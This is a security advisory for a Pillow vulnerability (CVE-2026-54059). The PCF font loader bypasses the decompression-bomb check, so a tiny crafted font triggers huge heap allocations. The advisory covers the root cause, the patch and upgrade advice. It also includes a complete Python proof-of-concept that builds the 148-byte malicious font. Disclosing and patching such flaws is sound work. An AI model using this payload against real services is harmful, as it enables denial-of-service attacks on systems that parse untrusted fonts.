CVE-2026-54059: Pillow PcfFontFile Decompression Bomb Protection Bypass
Pillow's PCF font loader skips the decompression bomb size check, letting an attacker allocate over 1 GB of heap memory with a ~148-byte crafted font file.
The problem
In `PIL/PcfFontFile.py`, `_load_bitmaps()` reads glyph width and height from the attacker-controlled PCF METRICS section and hands them straight to `Image.frombytes()`. The normal guard, `Image._decompression_bomb_check()`, is never called on this path.
Because `frombytes()` calls `Image.new()` first, the full C-heap buffer is allocated before any data validation happens. A single glyph can reach 65,535 x 131,070 pixels (roughly 1.07 GB at 1 bit per pixel), and there is no per-font limit. Any service that passes untrusted PCF font data to `PcfFontFile(fp)` is affected, including cases where the bitmap data itself is truncated (transient allocation still occurs before the resulting `ValueError` is raised).
Proof of concept
A working proof-of-concept for CVE-2026-54059 in pillow, with the exact payload below.
#!/usr/bin/env python3
"""PoC: PcfFontFile bomb bypass — 148-byte PCF triggers oversized heap allocation"""
import io, struct, warnings
warnings.filterwarnings("ignore")
from PIL.PcfFontFile import PcfFontFile
W, H = 14000, 14000 # 196 M pixels — above DecompressionBombError threshold
PCF_MAGIC = 0x70636601
PCF_PROPS = 1 << 0
PCF_METRICS = 1 << 2
PCF_BITMAPS = 1 << 3
PCF_ENCODINGS = 1 << 5
def build_bomb_pcf(xsize, ysize):
props = struct.pack("<III", 0, 0, 0)
metrics = struct.pack("<II", 0, 1)
metrics += struct.pack("<HHHHHH", 0, xsize, xsize, ysize, 0, 0)
bitmaps = struct.pack("<II", 0, 1)
bitmaps += struct.pack("<I", 0)
bitmaps += struct.pack("<IIII", 0, 0, 0, 0)
enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62
encodings = struct.pack("<IHHHHH", 0, 0, 127, 0, 0, 0xFFFF)
encodings += struct.pack("<" + "H"*128, *enc_offsets)
secs = [(PCF_PROPS, props), (PCF_METRICS, metrics),
(PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)]
hdr_size = 4 + 4 + len(secs) * 16
out = struct.pack("<II", PCF_MAGIC, len(secs))
offset = hdr_size
for stype, sdata in secs:
out += struct.pack("<IIII", stype, 0, len(sdata), offset)
offset += len(sdata)
for _, sdata in secs:
out += sdata
return out
pcf = build_bomb_pcf(W, H)
print(f"[*] PCF file size : {len(pcf)} bytes")
print(f"[*] Glyph size : {W} x {H} = {W*H:,} pixels")
print(f"[*] C-heap target : {W*H//8//1024**2} MB (mode '1', 1 bit/pixel)")
try:
font = PcfFontFile(io.BytesIO(pcf))
print("[!] CONFIRMED (persistent): bomb check bypassed")
except Exception as e:
print(f"[!] CONFIRMED (transient): {type(e).__name__} after heap allocation")
print(f" C-heap spike of ~{W*H//8//1024**2} MB occurred before exception")
# Expected output on vulnerable Pillow < 12.3.0:
# [*] PCF file size : 148 bytes
# [*] Glyph size : 14000 x 14000 = 196,000,000 pixels
# [*] C-heap target : 23 MB (mode '1', 1 bit/pixel)
# [!] CONFIRMED (transient): ValueError after heap allocation
# C-heap spike of ~23 MB occurred before exception
#
# Maximum amplification (max PCF dimensions):
# xsize = 65535, ysize = 131070 -> ~1.07 GB C-heap spike per glyphThe root cause is a missing call to `Image._decompression_bomb_check((xsize, ysize))` before `Image.frombytes()` in `_load_bitmaps()`. Glyph dimensions come from unsigned 16-bit PCF METRICS fields, so xsize can reach 65,535 and ysize can reach 131,070 (ascent + descent), multiplying to roughly 8.5 billion pixels with no guard.
`Image.frombytes()` internally calls `Image.new()` to allocate the full pixel buffer on the C heap before it attempts to fill it with data. This means even a truncated file with no real bitmap data still causes the allocation spike, making denial of service trivial with a ~148-byte input.
The patch (commit `0a263e6264aa5399988d9acd3bbfbca2ca3ec77d`) inserts `Image._decompression_bomb_check((xsize, ysize))` immediately before the `Image.frombytes()` call in `_load_bitmaps()`, matching the protection already present on the `Image.open()` path. CWE-789: Memory Allocation with Excessive Size Value.
The fix
Upgrade Pillow to 12.3.0 or later (`pip install --upgrade pillow`). The fix is in commit `0a263e6264aa5399988d9acd3bbfbca2ca3ec77d`. If you cannot upgrade immediately, avoid passing untrusted PCF font data to `PcfFontFile()`, and set OS or container memory limits per worker as a secondary control.
Related research
- highCVE-2026-59204CVE-2026-59204: Pillow JPEG2000 Tiled Decode Memory Exhaustion
- high · 7.5CVE-2026-54060CVE-2026-54060: Pillow FontFile.compile() Decompression Bomb Bypass
- high · 7.5CVE-2026-55379CVE-2026-55379: Pillow BdfFontFile Decompression Bomb Protection Bypass
- high · 7.5CVE-2026-55380CVE-2026-55380: Pillow GdImageFile Decompression Bomb (DoS)